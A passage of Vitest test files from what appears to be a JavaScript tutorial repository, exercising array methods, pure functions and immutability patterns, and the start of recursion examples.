sentences.flatMap(s => s.split(' '))\n      \n      expect(words).toEqual(['hello', 'world', 'foo', 'bar'])\n    })\n  })\n  \n  describe('Common Mistakes', () => {\n    it('demonstrates mutation issue in map', () => {\n      const users = [\n        { name: 'Alice', score: 85 },\n        { name: 'Bob', score: 92 }\n      ]\n      \n      // ❌ WRONG: This mutates the original objects\n      const mutated = users.map(user => {\n        user.score += 5  // Mutates original!\n        return user\n      })\n      \n      expect(users[0].score).toBe(90) // Original was mutated!\n      \n      // Reset for next test\n      const users2 = [\n        { name: 'Alice', score: 85 },\n        { name: 'Bob', score: 92 }\n      ]\n      \n      // ✓ CORRECT: Create new objects\n      const notMutated = users2.map(user => ({\n        ...user,\n        score: user.score + 5\n      }))\n      \n      expect(users2[0].score).toBe(85) // Original unchanged\n      expect(notMutated[0].score).toBe(90)\n    })\n    \n    it('demonstrates reduce without initial value type issues', () => {\n      const products = [\n        { name: 'Laptop', price: 1000 },\n        { name: 'Phone', price: 500 }\n      ]\n      \n      // ❌ WRONG: Without initial value, first element becomes accumulator\n      // This would try to add 500 to an object, resulting in string concatenation\n      const wrongTotal = products.reduce((acc, p) => acc + p.price)\n      expect(typeof wrongTotal).toBe('string') // \"[object Object]500\"\n      \n      // ✓ CORRECT: Provide initial value\n      const correctTotal = products.reduce((acc, p) => acc + p.price, 0)\n      expect(correctTotal).toBe(1500)\n    })\n    \n    it('demonstrates forgetting to return accumulator in reduce', () => {\n      const numbers = [1, 2, 3, 4]\n      \n      // ❌ WRONG: No return\n      const wrong = numbers.reduce((acc, n) => {\n        acc + n  // Missing return!\n      }, 0)\n      expect(wrong).toBeUndefined()\n      \n      // ✓ CORRECT: Return accumulator\n      const correct = numbers.reduce((acc, n) => {\n        return acc + n\n      }, 0)\n      expect(correct).toBe(10)\n    })\n    \n    it('shows filter+map is clearer than complex reduce', () => {\n      const users = [\n        { name: 'Alice', active: true },\n        { name: 'Bob', active: false },\n        { name: 'Charlie', active: true }\n      ]\n\n      // Complex reduce approach\n      const resultReduce = users.reduce((acc, user) => {\n        if (user.active) {\n          acc.push(user.name.toUpperCase())\n        }\n        return acc\n      }, [])\n\n      // Clearer filter + map approach\n      const resultFilterMap = users\n        .filter(u => u.active)\n        .map(u => u.name.toUpperCase())\n\n      // Both should produce the same result\n      expect(resultReduce).toEqual(['ALICE', 'CHARLIE'])\n      expect(resultFilterMap).toEqual(['ALICE', 'CHARLIE'])\n    })\n  })\n  \n  describe('Test Your Knowledge Examples', () => {\n    it('Q6: filter evens, triple, sum equals 18', () => {\n      const result = [1, 2, 3, 4, 5]\n        .filter(n => n % 2 === 0)\n        .map(n => n * 3)\n        .reduce((sum, n) => sum + n, 0)\n\n      // filter: [2, 4]\n      // map: [6, 12]\n      // reduce: 6 + 12 = 18\n      expect(result).toBe(18)\n    })\n  })\n  \n  describe('ES2023+ Array Methods', () => {\n    it('reduceRight() reduces from right to left', () => {\n      const letters = ['a', 'b', 'c']\n      const result = letters.reduceRight((acc, s) => acc + s, '')\n      \n      expect(result).toBe('cba')\n    })\n    \n    it('toSorted() returns sorted copy without mutating original', () => {\n      const nums = [3, 1, 2]\n      const sorted = nums.toSorted()\n      \n      expect(sorted).toEqual([1, 2, 3])\n      expect(nums).toEqual([3, 1, 2]) // Original unchanged\n    })\n    \n    it('toReversed() returns reversed copy without mutating original', () => {\n      const nums = [1, 2, 3]\n      const reversed = nums.toReversed()\n      \n      expect(reversed).toEqual([3, 2, 1])\n      expect(nums).toEqual([1, 2, 3]) // Original unchanged\n    })\n    \n    it('toSpliced() returns modified copy without mutating original', () => {\n      const nums = [1, 2, 3, 4, 5]\n      const spliced = nums.toSpliced(1, 2, 'a', 'b')\n      \n      expect(spliced).toEqual([1, 'a', 'b', 4, 5])\n      expect(nums).toEqual([1, 2, 3, 4, 5]) // Original unchanged\n    })\n    \n    it('Object.groupBy() groups elements by key (ES2024, Node 21+)', () => {\n      // Skip test if Object.groupBy is not available (requires Node 21+)\n      if (typeof Object.groupBy !== 'function') {\n        console.log('Skipping: Object.groupBy not available in this Node version')\n        return\n      }\n      \n      const people = [\n        { name: 'Alice', department: 'Engineering' },\n        { name: 'Bob', department: 'Marketing' },\n        { name: 'Charlie', department: 'Engineering' }\n      ]\n      \n      const byDepartment = Object.groupBy(people, person => person.department)\n      \n      expect(byDepartment.Engineering).toEqual([\n        { name: 'Alice', department: 'Engineering' },\n        { name: 'Charlie', department: 'Engineering' }\n      ])\n      expect(byDepartment.Marketing).toEqual([\n        { name: 'Bob', department: 'Marketing' }\n      ])\n    })\n  })\n  \n  describe('Async Callbacks', () => {\n    it('map with async returns array of Promises', async () => {\n      const ids = [1, 2, 3]\n      \n      // Simulate async operation\n      const asyncDouble = async (n) => n * 2\n      \n      // Without Promise.all, you get Promises\n      const promiseArray = ids.map(id => asyncDouble(id))\n      \n      expect(promiseArray[0]).toBeInstanceOf(Promise)\n      \n      // With Promise.all, you get resolved values\n      const results = await Promise.all(promiseArray)\n      expect(results).toEqual([2, 4, 6])\n    })\n    \n    it('async filter workaround using map then filter', async () => {\n      const numbers = [1, 2, 3, 4, 5]\n      \n      // Simulate async predicate\n      const asyncIsEven = async (n) => n % 2 === 0\n      \n      // Step 1: Get boolean results for each element\n      const checks = await Promise.all(numbers.map(n => asyncIsEven(n)))\n      \n      // Step 2: Filter using the boolean results\n      const evens = numbers.filter((_, index) => checks[index])\n      \n      expect(evens).toEqual([2, 4])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functional-programming/pure-functions/pure-functions.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Pure Functions', () => {\n  describe('Rule 1: Same Input → Same Output', () => {\n    it('should always return the same result for the same inputs', () => {\n      // Pure function: deterministic\n      function add(a, b) {\n        return a + b\n      }\n\n      expect(add(2, 3)).toBe(5)\n      expect(add(2, 3)).toBe(5)\n      expect(add(2, 3)).toBe(5)\n      // Always 5, no matter how many times we call it\n    })\n\n    it('should demonstrate Math.max as a pure function', () => {\n      // Math.max is pure: same inputs always give same output\n      expect(Math.max(2, 8, 5)).toBe(8)\n      expect(Math.max(2, 8, 5)).toBe(8)\n      expect(Math.max(-1, -5, -2)).toBe(-1)\n    })\n\n    it('should show how external state breaks purity', () => {\n      // Impure: depends on external state\n      let taxRate = 0.08\n\n      function calculateTotalImpure(price) {\n        return price + price * taxRate\n      }\n\n      expect(calculateTotalImpure(100)).toBe(108)\n\n      // Changing external state changes the result\n      taxRate = 0.10\n      expect(calculateTotalImpure(100)).toBe(110) // Different!\n\n      // Pure version: all dependencies are parameters\n      function calculateTotalPure(price, rate) {\n        return price + price * rate\n      }\n\n      expect(calculateTotalPure(100, 0.08)).toBe(108)\n      expect(calculateTotalPure(100, 0.08)).toBe(108) // Always the same\n      expect(calculateTotalPure(100, 0.10)).toBe(110) // Different input = different output (that's fine)\n    })\n\n    it('should demonstrate that Math.random makes functions impure', () => {\n      // ❌ IMPURE: Output depends on randomness\n      function randomDouble(x) {\n        return x * Math.random()\n      }\n\n      // Same input but (almost certainly) different outputs\n      const results = new Set()\n      for (let i = 0; i < 10; i++) {\n        results.add(randomDouble(5))\n      }\n\n      // With random, we get multiple different results for the same input\n      expect(results.size).toBeGreaterThan(1)\n    })\n\n    it('should demonstrate that Date makes functions impure', () => {\n      // ❌ IMPURE: Output depends on when you call it\n      function getGreeting(name) {\n        const hour = new Date().getHours()\n        if (hour < 12) return `Good morning, ${name}`\n        return `Good afternoon, ${name}`\n      }\n\n      // The function works, but its output depends on external state (time)\n      const result = getGreeting('Alice')\n      expect(result).toMatch(/Good (morning|afternoon), Alice/)\n\n      // To make it pure, pass the hour as a parameter\n      function getGreetingPure(name, hour) {\n        if (hour < 12) return `Good morning, ${name}`\n        return `Good afternoon, ${name}`\n      }\n\n      // Now it's deterministic\n      expect(getGreetingPure('Alice', 9)).toBe('Good morning, Alice')\n      expect(getGreetingPure('Alice', 9)).toBe('Good morning, Alice') // Always same\n      expect(getGreetingPure('Alice', 14)).toBe('Good afternoon, Alice')\n    })\n  })\n\n  describe('Rule 2: No Side Effects', () => {\n    it('should demonstrate addToTotal impure pattern from docs', () => {\n      // ❌ IMPURE: Breaks rule 2 (has a side effect)\n      let total = 0\n\n      function addToTotal(x) {\n        total += x // Modifies external variable!\n        return total\n      }\n\n      expect(addToTotal(5)).toBe(5)\n      expect(addToTotal(5)).toBe(10) // Different result because total changed\n      expect(addToTotal(5)).toBe(15) // Keeps changing!\n\n      // The function modifies external state, making it impure\n      expect(total).toBe(15)\n    })\n\n    it('should demonstrate mutation as a side effect', () => {\n      // Impure: mutates the input\n      function addItemImpure(cart, item) {\n        cart.push(item)\n        return cart\n      }\n\n      const myCart = ['apple', 'banana']\n      const result = addItemImpure(myCart, 'orange')\n\n      expect(myCart).toEqual(['apple', 'banana', 'orange']) // Original mutated!\n      expect(result).toBe(myCart) // Same reference\n    })\n\n    it('should show pure alternative that returns new array', () => {\n      // Pure: returns new array, original unchanged\n      function addItemPure(cart, item) {\n        return [...cart, item]\n      }\n\n      const myCart = ['apple', 'banana']\n      const newCart = addItemPure(myCart, 'orange')\n\n      expect(myCart).toEqual(['apple', 'banana']) // Original unchanged!\n      expect(newCart).toEqual(['apple', 'banana', 'orange'])\n      expect(myCart).not.toBe(newCart) // Different references\n    })\n\n    it('should demonstrate external variable modification as a side effect', () => {\n      let counter = 0\n\n      // Impure: modifies external variable\n      function incrementImpure() {\n        counter++\n        return counter\n      }\n\n      expect(incrementImpure()).toBe(1)\n      expect(incrementImpure()).toBe(2) // Different result for same (no) input!\n      expect(incrementImpure()).toBe(3)\n\n      // Pure alternative\n      function incrementPure(value) {\n        return value + 1\n      }\n\n      expect(incrementPure(0)).toBe(1)\n      expect(incrementPure(0)).toBe(1) // Always the same\n      expect(incrementPure(5)).toBe(6)\n    })\n\n    it('should demonstrate processUser impure vs pure from docs', () => {\n      // ❌ IMPURE: Multiple side effects\n      let userCount = 0\n      const loginTime = new Date('2025-01-01T10:00:00')\n\n      function processUserImpure(user) {\n        user.lastLogin = loginTime // Side effect: mutates input\n        userCount++ // Side effect: modifies external variable\n        return user\n      }\n\n      const user1 = { name: 'Alice' }\n      const result1 = processUserImpure(user1)\n\n      expect(user1.lastLogin).toEqual(loginTime) // Original mutated!\n      expect(userCount).toBe(1) // External state changed!\n      expect(result1).toBe(user1) // Same reference\n\n      // ✓ PURE: Returns new data, no side effects\n      function processUserPure(user, loginTime) {\n        return {\n          ...user,\n          lastLogin: loginTime\n        }\n      }\n\n      const user2 = { name: 'Bob' }\n      const result2 = processUserPure(user2, loginTime)\n\n      expect(user2.lastLogin).toBe(undefined) // Original unchanged!\n      expect(result2.lastLogin).toEqual(loginTime)\n      expect(result2).not.toBe(user2) // Different reference\n      expect(result2.name).toBe('Bob')\n    })\n  })\n\n  describe('Identifying Pure vs Impure Functions', () => {\n    it('should identify pure mathematical functions', () => {\n      function double(x) {\n        return x * 2\n      }\n\n      function square(x) {\n        return x * x\n      }\n\n      function hypotenuse(a, b) {\n        return Math.sqrt(a * a + b * b)\n      }\n\n      // All pure: same inputs always give same outputs\n      expect(double(5)).toBe(10)\n      expect(square(4)).toBe(16)\n      expect(hypotenuse(3, 4)).toBe(5)\n    })\n\n    it('should identify pure string functions', () => {\n      function formatName(name) {\n        return name.trim().toLowerCase()\n      }\n\n      function greet(name, greeting) {\n        return `${greeting}, ${name}!`\n      }\n\n      expect(formatName('  ALICE  ')).toBe('alice')\n      expect(formatName('  ALICE  ')).toBe('alice') // Same result\n      expect(greet('Bob', 'Hello')).toBe('Hello, Bob!')\n    })\n\n    it('should identify pure validation functions', () => {\n      function isValidEmail(email) {\n        return email.includes('@') && email.includes('.')\n      }\n\n      function isPositive(num) {\n        return num > 0\n      }\n\n      expect(isValidEmail('test@example.com')).toBe(true)\n      expect(isValidEmail('invalid')).toBe(false)\n      expect(isPositive(5)).toBe(true)\n      expect(isPositive(-3)).toBe(false)\n    })\n  })\n\n  describe('Immutable Object Patterns', () => {\n    it('should update object properties without mutation', () => {\n      const user = { name: 'Alice', age: 25 }\n\n      // Pure: returns new object\n      function updateAge(user, newAge) {\n        return { ...user, age: newAge }\n      }\n\n      const updatedUser = updateAge(user, 26)\n\n      expect(user.age).toBe(25) // Original unchanged\n      expect(updatedUser.age).toBe(26)\n      expect(user).not.toBe(updatedUser)\n    })\n\n    it('should add properties without mutation', () => {\n      const product = { name: 'Widget', price: 10 }\n\n      function addDiscount(product, discount) {\n        return { ...product, discount }\n      }\n\n      const discountedProduct = addDiscount(product, 0.1)\n\n      expect(product.discount).toBe(undefined) // Original unchanged\n      expect(discountedProduct.discount).toBe(0.1)\n    })\n\n    it('should remove properties without mutation', () => {\n      const user = { name: 'Alice', age: 25, password: 'secret' }\n\n      function removePassword(user) {\n        const { password, ...rest } = user\n        return rest\n      }\n\n      const safeUser = removePassword(user)\n\n      expect(user.password).toBe('secret') // Original unchanged\n      expect(safeUser.password).toBe(undefined)\n      expect(safeUser).toEqual({ name: 'Alice', age: 25 })\n    })\n  })\n\n  describe('Immutable Array Patterns', () => {\n    it('should add items without mutation', () => {\n      const todos = ['Learn JS', 'Build app']\n\n      // Pure: returns new array\n      function addTodo(todos, newTodo) {\n        return [...todos, newTodo]\n      }\n\n      const newTodos = addTodo(todos, 'Deploy')\n\n      expect(todos).toEqual(['Learn JS', 'Build app']) // Original unchanged\n      expect(newTodos).toEqual(['Learn JS', 'Build app', 'Deploy'])\n    })\n\n    it('should remove items without mutation', () => {\n      const numbers = [1, 2, 3, 4, 5]\n\n      // Pure: filter creates new array\n      function removeItem(arr, index) {\n        return arr.filter((_, i) => i !== index)\n      }\n\n      const result = removeItem(numbers, 2) // Remove item at index 2\n\n      expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged\n      expect(result).toEqual([1, 2, 4, 5])\n    })\n\n    it('should update items without mutation', () => {\n      const todos = [\n        { id: 1, text: 'Learn JS', done: false },\n        { id: 2, text: 'Build app', done: false }\n      ]\n\n      function completeTodo(todos, id) {\n        return todos.map((todo) => (todo.id === id ? { ...todo, done: true } : todo))\n      }\n\n      const updated = completeTodo(todos, 1)\n\n      expect(todos[0].done).toBe(false) // Original unchanged\n      expect(updated[0].done).toBe(true)\n      expect(updated[1].done).toBe(false)\n    })\n\n    it('should sort without mutation using spread', () => {\n      const numbers = [3, 1, 4, 1, 5, 9, 2, 6]\n\n      // Impure: sort mutates the original\n      function sortImpure(arr) {\n        return arr.sort((a, b) => a - b)\n      }\n\n      // Pure: copy first\n      function sortPure(arr) {\n        return [...arr].sort((a, b) => a - b)\n      }\n\n      const sorted = sortPure(numbers)\n\n      expect(numbers).toEqual([3, 1, 4, 1, 5, 9, 2, 6]) // Original unchanged\n      expect(sorted).toEqual([1, 1, 2, 3, 4, 5, 6, 9])\n    })\n\n    it('should use toSorted for non-mutating sort (ES2023)', () => {\n      const numbers = [3, 1, 4, 1, 5]\n\n      const sorted = numbers.toSorted((a, b) => a - b)\n\n      expect(numbers).toEqual([3, 1, 4, 1, 5]) // Original unchanged\n      expect(sorted).toEqual([1, 1, 3, 4, 5])\n    })\n\n    it('should use toReversed for non-mutating reverse (ES2023)', () => {\n      const letters = ['a', 'b', 'c', 'd']\n\n      const reversed = letters.toReversed()\n\n      expect(letters).toEqual(['a', 'b', 'c', 'd']) // Original unchanged\n      expect(reversed).toEqual(['d', 'c', 'b', 'a'])\n    })\n  })\n\n  describe('Deep Copy for Nested Objects', () => {\n    it('should demonstrate shallow copy problem with nested objects', () => {\n      const user = {\n        name: 'Alice',\n        address: { city: 'NYC', zip: '10001' }\n      }\n\n      // Shallow copy - nested object is shared!\n      const shallowCopy = { ...user }\n\n      shallowCopy.address.city = 'LA'\n\n      expect(user.address.city).toBe('LA') // Original changed!\n    })\n\n    it('should use structuredClone for deep copy', () => {\n      const user = {\n        name: 'Alice',\n        address: { city: 'NYC', zip: '10001' }\n      }\n\n      const deepCopy = structuredClone(user)\n\n      deepCopy.address.city = 'LA'\n\n      expect(user.address.city).toBe('NYC') // Original unchanged!\n      expect(deepCopy.address.city).toBe('LA')\n    })\n\n    it('should safely update nested properties in pure function', () => {\n      const user = {\n        name: 'Alice',\n        address: { city: 'NYC', zip: '10001' }\n      }\n\n      // Pure function using structuredClone\n      function updateCity(user, newCity) {\n        const copy = structuredClone(user)\n        copy.address.city = newCity\n        return copy\n      }\n\n      // Alternative: spread at each level\n      function updateCitySpread(user, newCity) {\n        return {\n          ...user,\n          address: {\n            ...user.address,\n            city: newCity\n          }\n        }\n      }\n\n      const updated1 = updateCity(user, 'LA')\n      const updated2 = updateCitySpread(user, 'Boston')\n\n      expect(user.address.city).toBe('NYC') // Original unchanged\n      expect(updated1.address.city).toBe('LA')\n      expect(updated2.address.city).toBe('Boston')\n    })\n  })\n\n  describe('Common Mistakes', () => {\n    it('should avoid mutating function parameters', () => {\n      // Bad: mutates the parameter\n      function processUserBad(user) {\n        user.processed = true\n        user.name = user.name.toUpperCase()\n        return user\n      }\n\n      // Good: returns new object\n      function processUserGood(user) {\n        return {\n          ...user,\n          processed: true,\n          name: user.name.toUpperCase()\n        }\n      }\n\n      const user = { name: 'alice', age: 25 }\n\n      const result = processUserGood(user)\n\n      expect(user.processed).toBe(undefined) // Original unchanged\n      expect(user.name).toBe('alice')\n      expect(result.processed).toBe(true)\n      expect(result.name).toBe('ALICE')\n    })\n\n    it('should avoid relying on external mutable state', () => {\n      // Bad: relies on external config\n      const config = { multiplier: 2 }\n\n      function calculateBad(value) {\n        return value * config.multiplier\n      }\n\n      // Good: config passed as parameter\n      function calculateGood(value, multiplier) {\n        return value * multiplier\n      }\n\n      expect(calculateGood(5, 2)).toBe(10)\n      expect(calculateGood(5, 2)).toBe(10) // Always predictable\n    })\n\n    it('should be careful with array methods that mutate', () => {\n      const numbers = [3, 1, 2]\n\n      // These methods MUTATE the original array:\n      // sort(), reverse(), splice(), push(), pop(), shift(), unshift(), fill()\n\n      // Safe alternatives:\n      const sorted = [...numbers].sort((a, b) => a - b) // Copy first\n      const reversed = [...numbers].reverse() // Copy first\n      const withNew = [...numbers, 4] // Spread instead of push\n\n      expect(numbers).toEqual([3, 1, 2]) // Original unchanged\n      expect(sorted).toEqual([1, 2, 3])\n      expect(reversed).toEqual([2, 1, 3])\n      expect(withNew).toEqual([3, 1, 2, 4])\n    })\n  })\n\n  describe('Practical Pure Function Examples', () => {\n    it('should calculate shopping cart total purely', () => {\n      function calculateTotal(items, taxRate) {\n        const subtotal = items.reduce((sum, item) => sum + item.price * item.quantity, 0)\n        const tax = subtotal * taxRate\n        return {\n          subtotal,\n          tax,\n          total: subtotal + tax\n        }\n      }\n\n      const items = [\n        { name: 'Widget', price: 10, quantity: 2 },\n        { name: 'Gadget', price: 25, quantity: 1 }\n      ]\n\n      const result = calculateTotal(items, 0.08)\n\n      expect(result.subtotal).toBe(45)\n      expect(result.tax).toBeCloseTo(3.6)\n      expect(result.total).toBeCloseTo(48.6)\n\n      // Original items unchanged\n      expect(items[0].name).toBe('Widget')\n    })\n\n    it('should filter and transform data purely', () => {\n      function getActiveUserNames(users) {\n        return users.filter((user) => user.active).map((user) => user.name.toLowerCase())\n      }\n\n      const users = [\n        { name: 'ALICE', active: true },\n        { name: 'BOB', active: false },\n        { name: 'CHARLIE', active: true }\n      ]\n\n      const result = getActiveUserNames(users)\n\n      expect(result).toEqual(['alice', 'charlie'])\n      expect(users[0].name).toBe('ALICE') // Original unchanged\n    })\n\n    it('should compose pure functions', () => {\n      const trim = (str) => str.trim()\n      const toLowerCase = (str) => str.toLowerCase()\n      const removeSpaces = (str) => str.replace(/\\s+/g, '-')\n\n      function slugify(title) {\n        return removeSpaces(toLowerCase(trim(title)))\n      }\n\n      expect(slugify('  Hello World  ')).toBe('hello-world')\n      expect(slugify('  JavaScript Is Fun  ')).toBe('javascript-is-fun')\n    })\n\n    it('should validate data purely', () => {\n      function validateUser(user) {\n        const errors = []\n\n        if (!user.name || user.name.length < 2) {\n          errors.push('Name must be at least 2 characters')\n        }\n\n        if (!user.email || !user.email.includes('@')) {\n          errors.push('Valid email is required')\n        }\n\n        if (!user.age || user.age < 0) {\n          errors.push('Age must be a positive number')\n        }\n\n        return {\n          isValid: errors.length === 0,\n          errors\n        }\n      }\n\n      const validUser = { name: 'Alice', email: 'alice@example.com', age: 25 }\n      const invalidUser = { name: 'A', email: 'invalid', age: -5 }\n\n      expect(validateUser(validUser).isValid).toBe(true)\n      expect(validateUser(validUser).errors).toEqual([])\n\n      expect(validateUser(invalidUser).isValid).toBe(false)\n      expect(validateUser(invalidUser).errors).toHaveLength(3)\n    })\n  })\n\n  describe('Benefits of Pure Functions', () => {\n    it('should be easy to test (no setup needed)', () => {\n      // Pure functions are trivial to test\n      function add(a, b) {\n        return a + b\n      }\n\n      // No mocking, no setup, no cleanup\n      expect(add(1, 2)).toBe(3)\n      expect(add(-1, 1)).toBe(0)\n      expect(add(0.1, 0.2)).toBeCloseTo(0.3)\n    })\n\n    it('should be safe to memoize', () => {\n      let callCount = 0\n\n      // Pure function - safe to cache\n      function expensiveCalculation(n) {\n        callCount++\n        let result = 0\n        for (let i = 0; i < n; i++) {\n          result += i\n        }\n        return result\n      }\n\n      // Simple memoization\n      function memoize(fn) {\n        const cache = new Map()\n        return function (arg) {\n          if (cache.has(arg)) {\n            return cache.get(arg)\n          }\n          const result = fn(arg)\n          cache.set(arg, result)\n          return result\n        }\n      }\n\n      const memoizedCalc = memoize(expensiveCalculation)\n\n      // First call computes\n      expect(memoizedCalc(1000)).toBe(499500)\n      expect(callCount).toBe(1)\n\n      // Second call returns cached result\n      expect(memoizedCalc(1000)).toBe(499500)\n      expect(callCount).toBe(1) // Not called again!\n\n      // Different input computes again\n      expect(memoizedCalc(500)).toBe(124750)\n      expect(callCount).toBe(2)\n    })\n\n    it('should demonstrate fibonacci as a pure function safe for memoization', () => {\n      // Expensive calculation - safe to cache because it's pure\n      function fibonacci(n) {\n        if (n <= 1) return n\n        return fibonacci(n - 1) + fibonacci(n - 2)\n      }\n\n      // Pure: same input always gives same output\n      expect(fibonacci(0)).toBe(0)\n      expect(fibonacci(1)).toBe(1)\n      expect(fibonacci(2)).toBe(1)\n      expect(fibonacci(3)).toBe(2)\n      expect(fibonacci(4)).toBe(3)\n      expect(fibonacci(5)).toBe(5)\n      expect(fibonacci(10)).toBe(55)\n\n      // Call multiple times - always same result\n      expect(fibonacci(10)).toBe(55)\n      expect(fibonacci(10)).toBe(55)\n    })\n  })\n\n  describe('Examples from Q&A Section', () => {\n    it('should demonstrate multiply as a pure function', () => {\n      // Pure: follows both rules\n      function multiply(a, b) {\n        return a * b\n      }\n\n      expect(multiply(3, 4)).toBe(12)\n      expect(multiply(3, 4)).toBe(12) // Always the same\n      expect(multiply(-2, 5)).toBe(-10)\n      expect(multiply(0, 100)).toBe(0)\n    })\n\n    it('should demonstrate greet impure vs pure', () => {\n      // ❌ IMPURE: Uses new Date() - output varies with time\n      function greetImpure(name) {\n        return `Hello, ${name}! The time is ${new Date().toLocaleTimeString()}`\n      }\n\n      // The impure version includes time, making results unpredictable\n      const result1 = greetImpure('Alice')\n      expect(result1).toContain('Hello, Alice!')\n      expect(result1).toContain('The time is')\n\n      // ✓ PURE: Pass time as a parameter\n      function greetPure(name, time) {\n        return `Hello, ${name}! The time is ${time}`\n      }\n\n      expect(greetPure('Alice', '10:00:00 AM')).toBe('Hello, Alice! The time is 10:00:00 AM')\n      expect(greetPure('Alice', '10:00:00 AM')).toBe('Hello, Alice! The time is 10:00:00 AM') // Always same\n      expect(greetPure('Bob', '3:00:00 PM')).toBe('Hello, Bob! The time is 3:00:00 PM')\n    })\n\n    it('should demonstrate calculateTax as a pure function', () => {\n      // If calculateTax(100, 0.08) returns the wrong value,\n      // the bug MUST be inside calculateTax.\n      // No need to check what other code ran before it.\n      function calculateTax(amount, rate) {\n        return amount * rate\n      }\n\n      expect(calculateTax(100, 0.08)).toBe(8)\n      expect(calculateTax(100, 0.08)).toBe(8) // Always the same\n      expect(calculateTax(250, 0.1)).toBe(25)\n      expect(calculateTax(0, 0.08)).toBe(0)\n    })\n\n    it('should demonstrate formatPrice as a pure function', () => {\n      // You can understand this function completely by reading it\n      function formatPrice(cents, currency = 'USD') {\n        const dollars = cents / 100\n        return new Intl.NumberFormat('en-US', {\n          style: 'currency',\n          currency\n        }).format(dollars)\n      }\n\n      expect(formatPrice(1999)).toBe('$19.99')\n      expect(formatPrice(1999)).toBe('$19.99') // Always the same\n      expect(formatPrice(500)).toBe('$5.00')\n      expect(formatPrice(9999, 'USD')).toBe('$99.99')\n      expect(formatPrice(1000, 'EUR')).toBe('€10.00')\n    })\n\n    it('should demonstrate addToCart fix from Q&A', () => {\n      // ❌ WRONG: This function mutates its input\n      function addToCartBad(cart, item) {\n        cart.push(item)\n        return cart\n      }\n\n      const cart1 = ['apple']\n      const result1 = addToCartBad(cart1, 'banana')\n      expect(cart1).toEqual(['apple', 'banana']) // Original mutated!\n      expect(result1).toBe(cart1) // Same reference\n\n      // ✓ CORRECT: Fix it by returning a new array\n      function addToCartGood(cart, item) {\n        return [...cart, item]\n      }\n\n      const cart2 = ['apple']\n      const result2 = addToCartGood(cart2, 'banana')\n      expect(cart2).toEqual(['apple']) // Original unchanged!\n      expect(result2).toEqual(['apple', 'banana'])\n      expect(result2).not.toBe(cart2) // Different reference\n    })\n\n    it('should demonstrate updateCity with structuredClone from Q&A', () => {\n      const user = {\n        name: 'Alice',\n        address: { city: 'NYC', zip: '10001' }\n      }\n\n      // Option 1: structuredClone (simplest)\n      function updateCityClone(user, newCity) {\n        const copy = structuredClone(user)\n        copy.address.city = newCity\n        return copy\n      }\n\n      const updated1 = updateCityClone(user, 'LA')\n      expect(user.address.city).toBe('NYC') // Original unchanged\n      expect(updated1.address.city).toBe('LA')\n\n      // Option 2: Spread at each level\n      function updateCitySpread(user, newCity) {\n        return {\n          ...user,\n          address: {\n            ...user.address,\n            city: newCity\n          }\n        }\n      }\n\n      const updated2 = updateCitySpread(user, 'Boston')\n      expect(user.address.city).toBe('NYC') // Original still unchanged\n      expect(updated2.address.city).toBe('Boston')\n    })\n  })\n\n  describe('Examples from Accordion Sections', () => {\n    it('should demonstrate testing pure functions is trivial', () => {\n      // Testing a pure function - simple and straightforward\n      function add(a, b) {\n        return a + b\n      }\n\n      function formatName(name) {\n        return name.trim().toLowerCase()\n      }\n\n      function isValidEmail(email) {\n        return email.includes('@') && email.includes('.')\n      }\n\n      // No mocking, no setup - just input and expected output\n      expect(add(2, 3)).toBe(5)\n      expect(formatName('  ALICE  ')).toBe('alice')\n      expect(isValidEmail('test@example.com')).toBe(true)\n      expect(isValidEmail('invalid')).toBe(false)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functional-programming/recursion/recursion.test.js",
    "content": "import { describe, it, expect } from 'vitest'\nimport { JSDOM } from 'jsdom'\n\ndescribe('Recursion', () => {\n  describe('Base Case Handling', () => {\n    it('should return immediately when base case is met', () => {\n      function countdown(n) {\n        if (n <= 0) return 'done'\n        return countdown(n - 1)\n      }\n\n      expect(countdown(0)).toBe('done')\n      expect(countdown(-1)).toBe('done')\n    })\n\n    it('should demonstrate countdown pattern from MDX opening example', () => {\n      // Exact implementation from MDX lines 9-17 (modified to collect output)\n      // Original uses console.log, we collect to array for testing\n      function countdown(n, output = []) {\n        if (n === 0) {\n          output.push('Done!')\n          return output\n        }\n        output.push(n)\n        return countdown(n - 1, output)\n      }\n\n      // MDX example: countdown(3) outputs 3, 2, 1, Done!\n      expect(countdown(3)).toEqual([3, 2, 1, 'Done!'])\n      expect(countdown(1)).toEqual([1, 'Done!'])\n      expect(countdown(0)).toEqual(['Done!'])\n    })\n\n    it('should throw RangeError for infinite recursion (missing base case)', () => {\n      function infiniteRecursion(n) {\n        // No base case - will crash\n        return infiniteRecursion(n - 1)\n      }\n\n      expect(() => infiniteRecursion(5)).toThrow(RangeError)\n    })\n\n    it('should handle base case that returns a value', () => {\n      function sumTo(n) {\n        if (n === 1) return 1\n        return n + sumTo(n - 1)\n      }\n\n      expect(sumTo(1)).toBe(1)\n    })\n  })\n\n  describe('Classic Algorithms', () => {\n    describe('Factorial', () => {\n      function factorial(n) {\n        if (n <= 1) return 1\n        return n * factorial(n - 1)\n      }\n\n      it('should calculate factorial correctly', () => {\n        expect(factorial(5)).toBe(120)\n        expect(factorial(4)).toBe(24)\n        expect(factorial(3)).toBe(6)\n      })\n\n      it('should handle edge cases (0! = 1, 1! = 1)', () => {\n        expect(factorial(0)).toBe(1)\n        expect(factorial(1)).toBe(1)\n      })\n\n      it('should handle larger numbers', () => {\n        expect(factorial(10)).toBe(3628800)\n      })\n    })\n\n    describe('Fibonacci', () => {\n      // Memoized version for efficiency\n      function fibonacci(n, memo = {}) {\n        if (n in memo) return memo[n]\n        if (n <= 1) return n\n        memo[n] = fibonacci(n - 1, memo) + fibonacci(n - 2, memo)\n        return memo[n]\n      }\n\n      it('should return correct Fibonacci numbers', () => {\n        expect(fibonacci(6)).toBe(8)\n        expect(fibonacci(7)).toBe(13)\n        expect(fibonacci(10)).toBe(55)\n      })\n\n      it('should handle base cases (fib(0) = 0, fib(1) = 1)', () => {\n        expect(fibonacci(0)).toBe(0)\n        expect(fibonacci(1)).toBe(1)\n      })\n\n      it('should handle larger numbers efficiently with memoization', () => {\n        expect(fibonacci(50)).toBe(12586269025)\n      })\n\n      it('should follow the Fibonacci sequence pattern', () => {\n        // Each number is sum of two preceding ones\n        const sequence = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]\n        sequence.forEach((expected, index) => {\n          expect(fibonacci(index)).toBe(expected)\n        })\n      })\n    })\n\n    describe('Sum to N', () => {\n      